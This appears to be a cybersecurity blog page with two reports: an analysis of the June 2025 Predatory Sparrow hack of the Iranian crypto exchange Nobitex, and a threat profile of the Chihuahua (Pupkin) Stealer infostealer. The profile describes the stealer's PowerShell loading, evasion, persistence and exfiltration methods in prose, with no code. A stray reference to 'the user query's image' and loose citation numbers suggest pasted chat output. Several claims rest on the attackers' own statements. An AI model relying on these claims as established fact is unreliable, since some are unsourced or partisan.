Skip to content

cybersecurity

The Cyberattack on Nobitex: A Strategic Strike in the Israel-Iran Digital Conflict

I. Executive Summary

On June 18, 2025, Nobitex, Iran's largest cryptocurrency exchange, became the target of a significant cyberattack claimed by "Gonjeshke Darande," also known as "Predatory Sparrow," a hacking group widely associated with Israel. The incident resulted in a reported loss exceeding $48 million in Tether (USDT) from Nobitex's hot wallets. Following the breach, Gonjeshke Darande issued a public warning, threatening to release Nobitex's source code and internal network information within 24 hours, cautioning that any remaining assets on the platform would be at risk.

Gonjeshke Darande Public Warning

This cyberattack follows a pattern of sophisticated operations by Gonjeshke Darande against Iranian critical infrastructure, including a claimed hack on Iran's state-owned Bank Sepah just one day prior, on June 17, 2025. The group explicitly accused Nobitex of being a central instrument for the Iranian regime in financing global terrorism and serving as its primary tool for circumventing international sanctions. These accusations are underscored by claims that Nobitex not only disregards sanctions but actively provides public instructions to its users on how to bypass them, and that employment at the exchange is considered equivalent to military service under Iranian law. The attack on Nobitex represents a critical escalation within the ongoing cyber conflict between Israel and Iran, highlighting the increasing strategic importance of financial institutions and cryptocurrency platforms as targets in modern geopolitical warfare.

II. Introduction: The Escalating Cyber Front

The relationship between Israel and Iran has long been characterized by an undeclared, yet persistent, cyber conflict. This digital confrontation involves a series of tit-for-tat attacks that frequently target critical infrastructure, state-affiliated entities, and financial systems in both nations. Cyber operations have emerged as an indispensable component of both countries' geopolitical strategies, enabling asymmetric warfare and providing a degree of plausible deniability for actions that might otherwise provoke a more overt military response.

A notable development in this cyber warfare is a discernible shift in the nature of targets and objectives. Historically, cyberattacks often focused on physical infrastructure, aiming for disruption or sabotage, as exemplified by incidents like Stuxnet or attacks on gas stations and steel mills. However, the recent emphasis on financial institutions, such as Bank Sepah, and particularly cryptocurrency exchanges like Nobitex, signals a strategic evolution. This change indicates a move beyond mere operational disruption to directly impacting an adversary's economic stability and illicit financial flows, which are crucial for sustaining state-sponsored activities and proxy networks. By targeting financial conduits like Nobitex, the objective is to cripple the Iranian regime's capacity to circumvent sanctions and fund its operations, thereby exerting economic pressure through digital means. This represents a direct assault on the financial arteries of the state.

The Nobitex cyberattack stands as a high-profile manifestation of this escalating conflict. The public warning issued by Gonjeshke Darande, prominently displayed in the user query's image, underscores the audacity and strategic intent behind the operation. The targeting of a cryptocurrency exchange carries particular significance given the growing role of digital assets in illicit finance and sanctions evasion, especially for heavily sanctioned regimes like Iran. Cryptocurrencies offer inherent advantages such as ease of transactions, increased speed, anonymity, and a relative lack of regulation, making them a potent tool for circumventing traditional financial sanctions. This dual nature—being a legitimate financial innovation while simultaneously serving as a conduit for illicit activities—transforms crypto exchanges into strategic targets in cyber warfare. The Nobitex attack underscores that cryptocurrency platforms are no longer simply financial services but have become integral components of critical infrastructure in geopolitical conflicts. States are now actively engaging in offensive cyber operations against these platforms to disrupt an adversary's financial lifeline, acknowledging cryptocurrency's pivotal role in bypassing conventional financial controls. This evolving landscape suggests a pressing need for international frameworks to address cyberattacks on crypto infrastructure, even when such infrastructure is linked to illicit activities.

III. The Nobitex Cyberattack: A Detailed Account

The cyberattack on Nobitex unfolded on June 18, 2025, just one day after Gonjeshke Darande claimed responsibility for a separate, impactful hack on Iran's state-owned Bank Sepah. In a public declaration, the hacking group, Gonjeshke Darande, asserted its responsibility for the Nobitex breach. The group issued a stark warning: it intended to release Nobitex's source code and internal network information within 24 hours, explicitly cautioning that "any assets that remain there after that point will be at risk!". The group's public statements were unequivocal, accusing Nobitex of being "at the heart of the regime's efforts to finance terror worldwide, as well as being the regime's favorite sanctions violation tool".

These public warnings and explicit accusations, including the 24-hour ultimatum, extend beyond mere technical disruption. They are meticulously designed to induce panic among Nobitex users and to sow widespread distrust in Iranian financial institutions. Such actions aim to undermine public confidence in the Iranian regime's financial infrastructure and its capacity to safeguard its citizens' assets, potentially triggering capital flight and internal unrest. This amplifies the impact of the cyberattack far beyond the immediate technical breach, leveraging information operations as a potent form of psychological warfare.

Nobitex promptly confirmed the incident, acknowledging a "major security breach" and "unauthorized access to a portion of our reporting infrastructure and hot wallet" on June 18, 2025. The exchange reported a significant financial loss, specifically over $48 million in Tether (USDT) via the Tron network. Despite the breach, Nobitex sought to reassure its users that funds held in cold wallets remained secure and pledged full compensation for all damages through its insurance fund and company resources. As a precautionary and investigative measure, the platform's website and mobile application were taken offline.

The fact that the $48 million loss specifically targeted Nobitex's hot wallets highlights a critical vulnerability point for cryptocurrency exchanges. While cold wallets are generally considered more secure for long-term storage, hot wallets are essential for maintaining liquidity and facilitating daily operational transactions. This incident demonstrates that even large exchanges can be susceptible to sophisticated attacks targeting their operational funds, despite assurances regarding the safety of user funds in cold storage. It underscores the inherent tension between operational accessibility and robust security, compelling exchanges to meticulously balance liquidity requirements with the imperative to protect assets from state-sponsored or highly skilled threat actors.

Gonjeshke Darande's threat to release Nobitex's source code and internal information represents a significant escalation. The release of source code could expose underlying vulnerabilities in the exchange's platform, potentially enabling further exploitation. More critically, the disclosure of internal data could reveal sensitive information, including user identities, transaction patterns, and, most importantly, the specific methods Nobitex employs to bypass international sanctions. This information could be profoundly damaging to Nobitex and its users, while simultaneously proving invaluable to international sanctions enforcement bodies. This threat is not merely about technical exposure; it is a strategic maneuver to leverage transparency against an entity accused of illicit activities. By exposing Nobitex's operational methodology, including how it "publicly instructs users on how to use its infrastructure to bypass sanctions" 1, Gonjeshke Darande aims to provide actionable intelligence to international regulators, such as the Office of Foreign Assets Control (OFAC) and the Financial Action Task Force (FATF), and law enforcement agencies. Such disclosures could lead to more effective targeting of Nobitex's network, its users, and its facilitators, thereby tightening the constraints on Iran's sanctions evasion efforts and potentially deterring others from engaging in similar activities.

IV. Gonjeshke Darande: The "Predatory Sparrow"

The hacking group, known as "Predatory Sparrow" in English and "Gonjeshke Darande" in Persian, has emerged as a prominent actor in the cyber landscape targeting Iran. While Israel maintains a consistent policy of ambiguity regarding its cyber operations and has never officially acknowledged any association with the group, Gonjeshke Darande is widely believed to be linked to Israeli military intelligence, with some speculation pointing to Unit 8200. The group's operations consistently demonstrate "real skill and sophistication" 7 and possess "technical proficiency beyond that of a typical hacktivist group" 11, strongly suggesting access to state-level resources, training, and operational planning. The strategic utility of this "plausible deniability" in cyber warfare is significant. It allows Israel to achieve strategic objectives, such as disrupting Iranian infrastructure and imposing economic costs, without direct attribution. This approach helps manage escalation risks, enabling aggressive cyber action against an adversary without necessarily crossing a threshold that might necessitate a conventional military response. This model of state-sponsored, deniable cyber operations is a growing trend in international conflict, complicating diplomatic and legal responses.

Gonjeshke Darande has a track record of high-profile cyber operations against critical Iranian infrastructure:

  • Bank Sepah (June 17, 2025): The group claimed responsibility for destroying data at Iran's state-owned Bank Sepah, accusing it of funding Iran's military. Reports indicated the bank's website was offline, and customers experienced issues accessing their accounts. This attack immediately preceded the Nobitex incident.
  • Gas Stations (October 2021, December 2023): Gonjeshke Darande paralyzed gas stations across Iran, affecting up to 70% of the country's stations. The group stated these attacks were a response to Iranian aggression and warned of further actions. They claimed to have gained access to payment and management systems.
  • Steel Factory (2022): The group claimed responsibility for a cyberattack that forced the Iranian state-owned Khuzestan Steel Co. to halt production.
  • Railway System: Gonjeshke Darande has also claimed attacks on Iran's rail system network.

This consistent targeting strategy against Iran's critical economic and societal infrastructure (banks, gas stations, steel, railways) indicates a deliberate effort to inflict economic pain and generate public dissatisfaction within Iran. The motivations articulated by the group often link these targets directly to the Iranian regime's illicit activities or aggressive posture. By disrupting essential services and financial infrastructure, the group aims to create internal pressure on the regime, highlighting its vulnerabilities and potentially eroding its legitimacy. This approach extends beyond traditional cyber espionage or sabotage, entering the realm of sustained economic warfare conducted through digital means.

The stated motivations for Gonjeshke Darande's attacks are consistently articulated as responses to the "aggression of the Islamic Republic and its proxies" 9, and they specifically target entities involved in "financing terror worldwide" and "sanctions violation". For the Bank Sepah attack, the group cited the bank's alleged role in funding Iran's military, including its ballistic missile and nuclear programs. This consistent articulation of clear justifications for its attacks, framing them as responses to Iranian illicit activities, serves as a narrative weapon. By publicly stating these motivations, the group aims to legitimize its actions on the international stage and potentially garner support or at least tacit acceptance from nations concerned about Iran's behavior. This narrative also serves to demoralize the target (the Iranian regime) and potentially encourage internal dissent by framing the attacks as direct consequences of the regime's own actions, rather than unprovoked aggression. It is a strategic use of public messaging as an integral part of the overall cyber operation.

Despite the disruptive nature of their operations, Gonjeshke Darande has publicly claimed a degree of "ethical restraint." The group asserts that its operations are "conducted in a controlled manner while taking measures to limit potential damage to emergency services," and that they "delivered warnings to emergency services across the country before the operation began". They also claimed to have intentionally left a portion of gas stations unharmed, despite possessing the capability for full disruption. Similarly, for the steel factory attack, they claimed to have chosen an early morning time (5:15 am) to minimize risks and stated they could have caused more severe damage but refrained for "ethical reasons". his claim of ethical restraint, while seemingly paradoxical given the targeting of critical civilian infrastructure, is likely a strategic communication tactic. It attempts to portray the group as a responsible actor, differentiate themselves from indiscriminate attacks, and potentially avoid international condemnation for excessive harm to civilians. It may also be an attempt to subtly establish a precedent for "rules of engagement" in cyber warfare, even if self-imposed. This highlights the complex moral and strategic considerations in modern cyber conflict, where even state-linked actors attempt to shape perceptions of their conduct.

Table 1: Key Cyberattacks by Gonjeshke Darande (Predatory Sparrow)

Date Target Type of Infrastructure Stated Motivation Reported Impact
June 18, 2025 Nobitex Cryptocurrency Exchange Financing terror, sanctions violation tool, military service link \~$48M USDT loss, threat to release source code/internal data, website/app offline 1
June 17, 2025 Bank Sepah State-owned Bank Funding Iran's military, ballistic missile, and nuclear programs, circumventing international sanctions Data destruction claimed, website offline, customer access problems, broader financial disruption 1
December 2023 Gas Stations Fuel Distribution System Response to Iranian aggression and proxies Paralyzed \~70% of Iran's gas stations 9
October 2021 Gas Stations Fuel Distribution System Disrupting the regime, maximizing public dissatisfaction Paralyzed gas stations across the country 9
2022 Khuzestan Steel Co. State-owned Steel Factory Companies flouting international sanctions Forced production halt 9
Various Railway System Transportation Network Not explicitly stated for specific attacks, part of general disruption Attacks claimed 7

V. Nobitex: A Nexus for Sanctions Evasion and Terror Financing

Nobitex is widely recognized as Iran's largest cryptocurrency exchange, a critical position within a nation heavily impacted by international sanctions. Its scale of operations is substantial, having processed over $8 billion in Iranian transactions since 2018, with significant flows to other major exchanges like Binance. As Iran faces severe international sanctions that largely isolate its traditional financial institutions from the global system, domestic crypto exchanges like Nobitex become vital conduits for accessing and moving funds. This applies to both legitimate financial activities for citizens and illicit operations for the regime. This position elevates Nobitex beyond a mere private company; its size and reach render it indispensable for the Iranian regime's efforts to circumvent sanctions and maintain a degree of economic activity. This elevated strategic importance inherently made it a prime target for a state-linked cyberattack, as its disruption directly impacts Iran's economic resilience under sustained international pressure.

Nobitex has been explicitly accused of being a "favorite sanctions violation tool" for the Iranian regime. Evidence suggests that the exchange does not merely passively allow sanctions evasion but actively facilitates it. It "doesn't even pretend to abide by sanctions. In fact, it publicly instructs users on how to use its infrastructure to bypass sanctions". A Reuters investigation further corroborated this, revealing that Nobitex offered direct guidance on "skirting sanctions right on its website". Moreover, Nobitex advises its customers to avoid direct crypto transfers, recommending "indirect flows" to "maintain security," a practice that inherently helps obfuscate the origins and destinations of funds. This public instruction on bypassing sanctions indicates a deliberate, institutionalized approach to circumventing international financial regulations, rather than passive involvement or individual user actions. This systematic approach poses a significant challenge to the effectiveness of international sanctions regimes. It demonstrates that sanctioned entities are actively developing and promoting sophisticated methods to undermine financial controls, leveraging the decentralized nature of cryptocurrency. This necessitates a proactive and adaptive response from sanctions authorities, potentially requiring more aggressive targeting of the technological infrastructure and key facilitators that enable such institutionalized evasion.

Allegations linking Nobitex to the financing of terror and the Iranian regime's illicit activities are substantial. Gonjeshke Darande explicitly stated that Nobitex is "at the heart of the regime's efforts to finance terror worldwide". Further corroboration comes from Chainalysis research in 2022, which indicated that a majority of Bitcoin extorted from ransomware victims by Iranian nationals linked to the Islamic Revolutionary Guard Corps (IRGC) was subsequently sent to Nobitex. These ransomware attacks specifically targeted U.S. critical infrastructure, including healthcare providers and schools. Additionally, OFAC designations have targeted individuals associated with Iran's IRGC for their involvement in ransomware and cybercrime, with some using cryptocurrency addresses that funnel funds directly to Nobitex. While not directly linking Nobitex to oil smuggling, it is established that Iran's regime relies heavily on revenue from oil sales to fund its destabilizing activities and support terrorist partners and proxies, utilizing complex money laundering networks to access international markets. This evidence reveals a clear nexus: IRGC-linked cybercriminals conduct ransomware attacks, funnel the illicit proceeds to Nobitex, and Nobitex is simultaneously accused of facilitating terror financing and sanctions evasion for the regime. This demonstrates a sophisticated ecosystem where cybercrime directly contributes to state-sponsored illicit finance. Nobitex appears to function as a critical financial off-ramp for funds generated through cybercriminal activities that are linked to the Iranian state, effectively laundering illicit proceeds for geopolitical objectives. This convergence makes financial intelligence and cybersecurity intelligence inextricably linked in countering state-sponsored threats, requiring integrated strategies to disrupt these complex financial pipelines.

A particularly striking claim made by Gonjeshke Darande is that "working at Nobitex is considered valid military service" under Iranian law. The group further asserted that this implies the exchange is "part of the country's defense and intelligence infrastructure" and "vital to the regime's efforts". If this claim is accurate, it fundamentally redefines how a cryptocurrency exchange is perceived within a state's national security framework. It would mean that the Iranian state formally recognizes its ability to conduct financial transactions and evade sanctions through crypto as directly contributing to its military and strategic objectives, akin to traditional defense or critical infrastructure sectors. This legitimizes attacks on such entities as acts against state military infrastructure, further blurring the lines between cyber warfare, economic warfare, and conventional conflict, and providing a strong justification for targeting by adversaries.

Table 2: Nobitex's Alleged Illicit Activities and Regime Links

Allegation/Activity Evidence/Source Implications for Iranian Regime/International Community
Sanctions Evasion Tool Gonjeshke Darande claims Nobitex is "favorite sanctions violation tool". Reuters investigation: Nobitex offered guidance on "skirting sanctions". Nobitex advises "indirect flows" to obfuscate origins. Undermines international sanctions effectiveness; provides critical financial lifeline to sanctioned regime.
Public Instruction for Sanctions Bypass Nobitex "publicly instructs users on how to use its infrastructure to bypass sanctions". Indicates institutionalized, deliberate circumvention; challenges enforcement requiring adaptive responses.
Terror Financing Facilitation Gonjeshke Darande: Nobitex is "at the heart of the regime's efforts to finance terror worldwide". Directly supports state-sponsored terrorism and proxy networks; increases global security risks.
Recipient of Ransomware Funds Chainalysis: Majority of Bitcoin extorted by IRGC-linked Iranian nationals from U.S. critical infrastructure (healthcare, schools) was sent to Nobitex. Connects cybercrime to state-sponsored illicit finance; Nobitex acts as a money laundering conduit.
Employment as Military Service Gonjeshke Darande: "working at Nobitex is considered valid military service". Designates Nobitex as part of Iran's defense/intelligence infrastructure; legitimizes targeting as military action.
Large Volume of Iranian Transactions Processed over $8 billion in Iranian transactions since 2018, significant flows to Binance. Vital for Iran's economy under sanctions; central to regime's ability to access and move funds.

VI. Iran's Illicit Finance and Cyber Landscape

The Iranian regime's reliance on cryptocurrency for bypassing international sanctions and funding its proxies has become increasingly pronounced. Sanctioned entities, including Iran's largest cryptocurrency exchange, Nobitex, accounted for a significant share of illicit crypto volume in 2024, although overall volumes reportedly decreased from 2023 levels. Cryptocurrencies provide distinct advantages for illicit actors, offering "ease of transactions, increased speed and anonymity, and a lack of regulation," making them a "dangerous tool that can circumvent financial sanctions". In 2022, the volume of illicit crypto transactions globally surpassed $20 billion, with a substantial 44% of those funds originating from activities associated with sanctioned entities. The U.S. Department of the Treasury's Financial Crimes Enforcement Network (FinCEN) has issued advisories specifically on identifying and reporting potential sanctions evasion related to Iran, noting the regime's reliance on oil sales to fund destabilizing activities and terrorist partners and proxies through complex money laundering networks. This dynamic situation illustrates an evolving, continuous struggle between sanctions enforcers and sanctioned regimes. Iran's reliance on crypto and its sophisticated illicit finance networks demonstrate an adaptive response to traditional sanctions. However, the reported decline in illicit crypto volume suggests that international efforts, including targeted designations by bodies like OFAC, may be having some impact. This highlights the continuous need for intelligence-driven, adaptive sanctions enforcement that anticipates and responds to evolving evasion tactics.

The Islamic Revolutionary Guard Corps (IRGC) plays a pervasive role in Iran's financial and cyber operations. Designated as a terrorist organization by the U.S., the IRGC is a principal branch of Iran's armed forces and has "metastasized into one of the most dominant political, security, economic, and ideological actors in Iran". Beyond its military functions, the IRGC is responsible for controlling Iran's missile and drone arsenals and managing support for the "Axis of Resistance". Critically, IRGC-linked individuals and entities have been sanctioned for their involvement in ransomware and cybercrime, with extorted funds demonstrably flowing to Nobitex. The U.S. has also identified Iran's construction sector as being directly or indirectly controlled by the IRGC, which is accused of building "terror and chaos". The IRGC's deep embedding in Iran's economy, intelligence, and cyber operations, combined with its traditional military roles, state-sponsored cybercrime, illicit finance, and control over strategic sectors, demonstrates that it functions as a sophisticated hybrid threat actor. Its pervasive influence allows it to leverage diverse tools—from missile arsenals to ransomware and crypto exchanges—to advance the regime's objectives. Countering such an entity requires a multi-faceted approach that integrates military, financial, and cyber counter-measures, recognizing the interconnectedness of its various illicit activities. In a sign of intensifying paranoia, the IRGC's Cybersecurity Command has even ordered officials and their security teams to avoid all internet-connected devices, including phones, smartwatches, and laptops. Furthermore, nine Iranian nationals were charged for conducting a massive cyber theft campaign on behalf of the IRGC, targeting universities, companies, and government agencies globally.

The broader context of U.S. and international sanctions regimes, administered by bodies like OFAC and the Financial Action Task Force (FATF), faces significant challenges in the realm of cryptocurrency enforcement. OFAC administers U.S. sanctions to disrupt terrorism financing and restrict financial transactions that threaten U.S. security. It has issued designations targeting individuals and entities, including cryptocurrency exchanges, facilitating illicit activities, which have shown to cause significant drops in inflows post-designation. The FATF develops global anti-money laundering (AML) and counter-terrorist financing (CFT) standards, including targeted financial sanctions related to terrorism and terrorist financing. Despite these efforts, the decentralized and often unregulated nature of cryptocurrencies continues to be exploited for sanctions evasion. A major challenge lies in enforcing regulations against exchanges that do not operate on U.S. soil, such as Binance (which processed billions in Iranian transactions) or Garantex. Regulators also face difficulties in tracking illicit funds due to the ease with which digital wallet addresses can be changed and the prevalence of "indirect flows" designed to obfuscate fund origins. One proposed solution to address these challenges is the introduction of personal criminal liability for the owners of exchange platforms that knowingly facilitate sanctions evasion. These challenges highlight a fundamental "regulatory lag," where existing legal frameworks struggle to keep pace with rapid technological advancements in the crypto space. Effective enforcement requires not just national sanctions but also a more robust and coordinated international approach to crypto governance, including harmonized Know-Your-Customer (KYC) and Anti-Money Laundering (AML) standards, enhanced cross-border data sharing, and potentially, mechanisms for imposing secondary sanctions or criminal liability on foreign entities and individuals that knowingly facilitate illicit crypto activities.

The Iranian government's response to cyberattacks and its own offensive cyber capabilities demonstrate a dynamic and evolving digital posture. Iran has been the target of a series of cyberattacks on its critical infrastructure, including gas stations, railway systems, and various industries. In response, the Iranian regime is reportedly preparing to regulate its crypto economy for increased transparency, and the Central Bank of Iran has taken steps to close access to the portals of cryptocurrency exchanges. These actions suggest an internal effort to either control and legitimize cryptocurrency use or to mitigate further exploitation. Concurrently, Iran possesses its own offensive cyber capabilities, as evidenced by a "largely unsuccessful" attempt by Iran and Hezbollah to hack an Israeli hospital. The U.S. is actively offering rewards for information on Iranian hackers, including those linked to the IRGC Cyber-Electronic Command, who are known to target critical infrastructure with malware like IOCONTROL. Analysts anticipate that Iranian cyber threat actors will likely "rededicate themselves" to attacks on Israel and potentially U.S. critical infrastructure in light of the escalating military conflict. This dual role, as both a target and a perpetrator in cyber warfare, illustrates a mature, albeit asymmetric, cyber conflict where both sides actively deploy offensive capabilities. The Iranian regime's efforts to regulate crypto internally could be a defensive measure to prevent further exploitation or an attempt to centralize control over a vital financial channel. The expectation of increased Iranian cyber activity against Israel and the U.S. signifies a predictable escalation pattern, underscoring the need for enhanced cyber defenses and intelligence sharing among potential targets.

Table 3: Examples of Sanctioned Entities/Addresses Related to Iranian Illicit Crypto

Entity/Address Type Alleged Illicit Activity Sanctioning Authority Impact of Sanction (if available)
Nobitex Cryptocurrency Exchange Sanctions evasion, terror financing, receiving ransomware funds from IRGC-linked actors Not directly sanctioned by OFAC in provided snippets, but targeted by cyberattack for these reasons \~$48M USDT loss, website/app offline, threat of data release 1
Garantex Russian Cryptocurrency Exchange Facilitating illicit crypto volume for sanctioned entities/jurisdictions OFAC Inflows dropped significantly post-designation 13
NetEx24 Centralized Exchange Facilitating millions in transactions for illicit and sanctioned actors OFAC Inflows dropped significantly post-designation 13
Bitpapa Peer-to-peer Exchange Facilitating millions in transactions for illicit and sanctioned actors OFAC Inflows dropped significantly post-designation 13
Cryptex Centralized Exchange Facilitating millions in transactions for illicit and sanctioned actors OFAC Inflows dropped significantly post-designation 13
GazaNow & Mustafa Ayash Entity & Founder (Gaza-based) Raising funds for Hamas OFAC Designated 13
Tawfiq Muhammad Sa'id al-Law Hawala Operator (Lebanon-based Syrian) Providing Hezbollah with digital wallets for IRGC-QF funds OFAC Designated 13
Ahmad Khatibi Aghada Iranian National (IRGC-linked) Ransomware, cybercrime, funds to Nobitex OFAC Designated, crypto addresses included as identifiers 15
Amir Hossein Nikaeen Ravari Iranian National (IRGC-linked) Ransomware, cybercrime, funds to Nobitex OFAC Designated, crypto addresses included as identifiers 15
Various Bitcoin Addresses (e.g., 1H939dom7i4WDLCKyGbXUp3fs9CSTNRzgL) Cryptocurrency Wallet Addresses Receiving extorted funds from ransomware victims (IRGC-linked) OFAC Designated 15

VII. Geopolitical Implications and Future Outlook

The cyberattack on Nobitex carries significant geopolitical implications, particularly for Iran's financial system and its ongoing efforts to circumvent international sanctions. The reported loss of over $48 million and the explicit threat to release sensitive internal data could severely disrupt Nobitex's operations and erode user trust, thereby significantly limiting its effectiveness as a tool for sanctions evasion. This incident may compel the Iranian regime to further centralize or exert greater control over its cryptocurrency economy, aligning with earlier reports of regulatory preparations and actions by the Central Bank of Iran to restrict access to crypto exchange portals. This attack, especially when viewed alongside the preceding assault on Bank Sepah and other critical infrastructure, signifies an intensification of economic pressure exerted through cyber means. This strategy aims to exacerbate Iran's economic vulnerabilities, particularly its ability to access foreign currency and fund its regional proxies under sanctions. By making crypto-based sanctions evasion riskier and more difficult, the attack contributes to a broader campaign of economic strangulation, potentially leading to increased internal economic hardship and pressure on the regime to alter its behavior.

The Nobitex and Bank Sepah attacks, occurring in rapid succession, demonstrate a heightened level of coordination and strategic targeting by Gonjeshke Darande, unequivocally signaling an escalation in the Israel-Iran cyber conflict. This conflict is increasingly characterized by the coordinated deployment of both kinetic military strikes and cyber operations. Cyber warfare, in this context, functions as a powerful force multiplier, allowing states to achieve strategic objectives and inflict costs without engaging in direct military confrontation. However, the persistent nature of these operations and their potential for significant disruption can lead to unintended escalation. The inherent ambiguity of attribution in cyber operations, while providing deniability, also complicates traditional de-escalation mechanisms and makes it harder to establish clear red lines. This increases the risk of miscalculation in the broader Israel-Iran conflict, where digital actions can have tangible, destabilizing effects.

In light of these developments, several recommendations for international stakeholders are critical regarding sanctions enforcement, cybersecurity, and counter-terror financing in the crypto domain:

  • Enhanced Intelligence Sharing and Collaboration: There is an urgent need to foster greater collaboration among financial intelligence units (FIUs), cybersecurity agencies, and law enforcement entities globally. This collaboration is essential for effectively tracking illicit crypto flows and identifying state-sponsored cyber actors who exploit digital assets.
  • Adaptive Sanctions Regimes: International bodies and national governments must develop more agile and technologically informed sanctions mechanisms. These mechanisms should be capable of rapidly identifying and designating new cryptocurrency addresses, exchanges, and obfuscation techniques employed by sanctioned entities to evade controls.
  • Legal and Regulatory Harmonization: Advocating for robust international standards and legal frameworks is paramount to address the jurisdictional challenges inherent in regulating and enforcing against foreign crypto exchanges involved in illicit finance. This could potentially include mechanisms for imposing personal criminal liability on individuals who knowingly facilitate such activities.
  • Capacity Building for Counter-Crypto Illicit Finance: Significant investment is required in training and developing specialized tools for financial institutions and regulators. This will enhance their capability to detect, analyze, and report suspicious crypto transactions, particularly those linked to state-sponsored activities and terror financing.
  • Public-Private Partnerships: Encouraging greater cooperation between governments and the cryptocurrency industry is crucial. Such partnerships can lead to enhanced security measures, the implementation of more robust KYC/AML protocols, and improved sharing of threat intelligence to mitigate the abuse of crypto platforms for illicit purposes.

The complexity of the Nobitex incident, involving a state-sponsored cyberattack, illicit finance, sanctions evasion, and broader geopolitical conflict, underscores a fundamental truth: these intertwined threats cannot be effectively addressed by any single entity or discipline. This highlights the critical need for a holistic, multi-stakeholder approach that integrates cybersecurity, financial intelligence, law enforcement, and diplomatic efforts. International cooperation, shared best practices, and a unified front are essential to disrupt these sophisticated networks and mitigate the escalating risks posed by state-sponsored illicit finance and cyber warfare in the digital asset space.

Chihuahua Stealer: An Emerging.NET Infostealer Targeting Browser and Wallet Data

1. Executive Summary

Chihuahua Stealer, a.NET-based information-stealing malware, emerged in April 2025, posing a significant threat through its targeted attacks on browser credentials and cryptocurrency wallet data. This malware, also identified under the alias "Pupkin Stealer" 2, exhibits characteristics that suggest links to a Russian-speaking developer known as "Ardent". A peculiar trait is the embedding of transliterated Russian rap lyrics within its code, which are displayed on the console during execution, serving as a potential cultural signature of its author. The relatively swift identification of Chihuahua Stealer as Pupkin Stealer by different security vendors, such as G DATA and CyFirma 2, points towards a responsive, albeit sometimes fragmented, threat intelligence sharing ecosystem. This collaborative environment, where malware samples and signatures are disseminated, allows for quicker consolidation of knowledge and the development of defensive strategies, even if initial naming conventions differ.

Info Stealer Types

source: https://www.picussecurity.com/resource/blog/chihuahua-stealer-malware-targets-browser-and-wallet-data

The malware employs a multi-stage infection process, typically initiated through social engineering. Victims are lured into executing obfuscated PowerShell loaders, often delivered via trusted cloud platforms like Google Drive or OneDrive. Chihuahua Stealer then leverages in-memory.NET assembly execution to evade detection 1, establishes persistence through scheduled tasks (e.g., "f90g30g82") 1, and compresses stolen data into ".chihuahua" archives. This data is subsequently encrypted using AES-GCM and exfiltrated via HTTPS.

The operational methodology of Chihuahua Stealer, which combines common techniques like PowerShell abuse and social engineering with more advanced features such as multi-stage loading, in-memory execution, native API-based encryption, and meticulous cleanup routines 1, marks a notable progression in infostealer design. This sophisticated approach is geared towards enhanced stealth and resilience, distinguishing it from older, more rudimentary "smash-and-grab" stealers. This evolutionary step makes it a more challenging threat for traditional signature-based defenses, reflecting a broader trend where infostealers are becoming increasingly feature-rich and evasive.

Chihuahua Stealer poses a high risk to Windows systems, with potential consequences for individuals including financial loss and identity theft. For organizations, the compromise can lead to unauthorized network access and more severe subsequent attacks. Critical defensive recommendations include the implementation of enhanced PowerShell logging and analysis, comprehensive user awareness training focused on social engineering tactics, the deployment of robust endpoint security solutions capable of behavioral analysis, and proactive hunting for known Indicators of Compromise (IOCs).

2. Threat Profile: Chihuahua (Pupkin) Stealer

2.. Discovery, Naming, and Aliases

The Chihuahua Stealer was first identified in April 2025. One of the earliest public mentions of this malware surfaced from a Reddit post on April 9, 2025. In this instance, a user reported being tricked into executing an obfuscated PowerShell script, which was later identified as the loader for Chihuahua Stealer. This highlights the valuable role that public forums and community vigilance play in the early detection and reporting of emerging cyber threats, often preceding formal advisories from security vendors.

The malware is known by a few names, reflecting analysis by different cybersecurity entities:

  • Chihuahua Stealer or Chihuahua Infostealer: This nomenclature is primarily used in reports by G DATA and Picus Security.
  • Pupkin Stealer: This name was assigned by CyFirma in their analysis. Some reports also make a minor orthographic variation, "PumpkinStealer".

Multiple security research outlets have confirmed that Chihuahua Stealer and Pupkin Stealer refer to the same malware. Specifically, "Chihuahua Stealer" is G DATA's designation for the threat that CyFirma independently analyzed and named "Pupkin Stealer". Establishing this equivalence is crucial for cybersecurity professionals to consolidate threat intelligence from various sources and ensure a unified understanding of the threat.

2.. Attribution Insights: The "Ardent" Connection and Russian Fingerprints

While no specific, well-known threat group has been conclusively linked to Chihuahua Infostealer as of May 2025 1, several clues point towards its potential origin and developer profile. The developer behind PupkinStealer, and by extension Chihuahua Stealer, is believed to use the alias "Ardent". This attribution is supported by identifiers embedded within the malware's code, such as the string "Coded by Ardent". Furthermore, the exfiltrated data archive in PupkinStealer variants is often named using the format [Username]@ardent.zip, providing a strong indicator of this author's signature.

Reports consistently suggest that Pupkin Stealer was created by a Russian-speaking developer. This is corroborated by a distinctive characteristic of the Chihuahua Stealer: the inclusion of transliterated Russian rap lyrics within its code. These lyrics are printed to the console when the malware executes, specifically by a function named DedMaxim(). The PoraMoveStaff array within the code contains these Russian-language strings. While these lyrics do not serve any direct malicious function, they act as a unique cultural or personal fingerprint of the author, a practice sometimes seen in malware to assert authorship or for thematic branding.

Further supporting the Russian connection, the PupkinStealer variant utilizes the Telegram Bot API for data exfiltration. Analysis of the bot names used, such as ‘botKanal’ and ‘botkanalchik_bot’, suggests derivation from Russian words. Additionally, metadata associated with the Telegram bot's chat identified a user bio containing Russian text.

The combination of these elements—the "Ardent" alias, the Russian rap lyrics, and the use of Telegram with Russian linguistic markers—paints a picture of a developer or small group likely operating within the Russian-speaking cybercrime ecosystem. The presence of non-functional, self-referential elements like rap lyrics, alongside a relatively straightforward exfiltration method like Telegram bots (for the PupkinStealer variant), might indicate a developer who is less focused on extreme operational security compared to highly sophisticated, state-sponsored actors. This could suggest that the malware is more likely to be encountered in the broader cybercrime-as-a-service market or used in opportunistic attacks for direct financial gain, rather than in highly targeted espionage campaigns. Indeed, PupkinStealer has reportedly been used opportunistically by actors who may not possess advanced skills themselves. Understanding the likely operational sophistication of the developer can inform predictions about the types of campaigns the malware will be used in and aid in attribution efforts.

3. Technical Analysis: Attack Vector and Malware Operation

3.. Initial Compromise: Social Engineering and PowerShell-based Delivery

The primary infection vector for Chihuahua Stealer is social engineering, where victims are manipulated into executing a malicious PowerShell script. These scripts, or documents that trigger their execution, are frequently delivered through trusted cloud storage platforms such as Google Drive and OneDrive. This method is effective because it leverages the inherent trust users place in these widely used services, potentially bypassing email security filters that might block direct attachments or links to less reputable domains. An observed case involved a user being lured into opening what appeared to be a legitimate Google Drive document, which then initiated the execution of an embedded, obfuscated script.

